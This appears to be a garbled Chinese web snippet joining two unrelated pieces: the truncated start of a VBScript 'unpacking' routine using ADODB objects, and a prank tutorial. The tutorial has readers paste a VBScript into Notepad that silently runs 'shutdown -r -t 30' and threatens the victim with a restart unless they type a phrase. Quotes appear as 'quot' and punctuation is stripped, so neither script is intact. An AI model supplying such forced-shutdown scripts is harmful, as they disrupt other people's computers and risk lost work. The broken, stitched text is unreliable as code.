vbs解包代码20100327 2143Dim rs, ws, fso, conn, stream, connStr, theFolder Set rs = CreateObjectquotADODBRecordSetquotSet stream = CreateObjectquotADODBStreamquotSet conn = CreateObjectquotADODBConnectionquotS;第一步,将以下代码复制到记事本中on error resume next dim WSHshellA set WSHshellA = wscriptcreateobjectquotwscriptshellquotWSHshellArun quotcmdexe c shutdown r t 30 c quotquot快说潮流哥特,不说就30秒关你。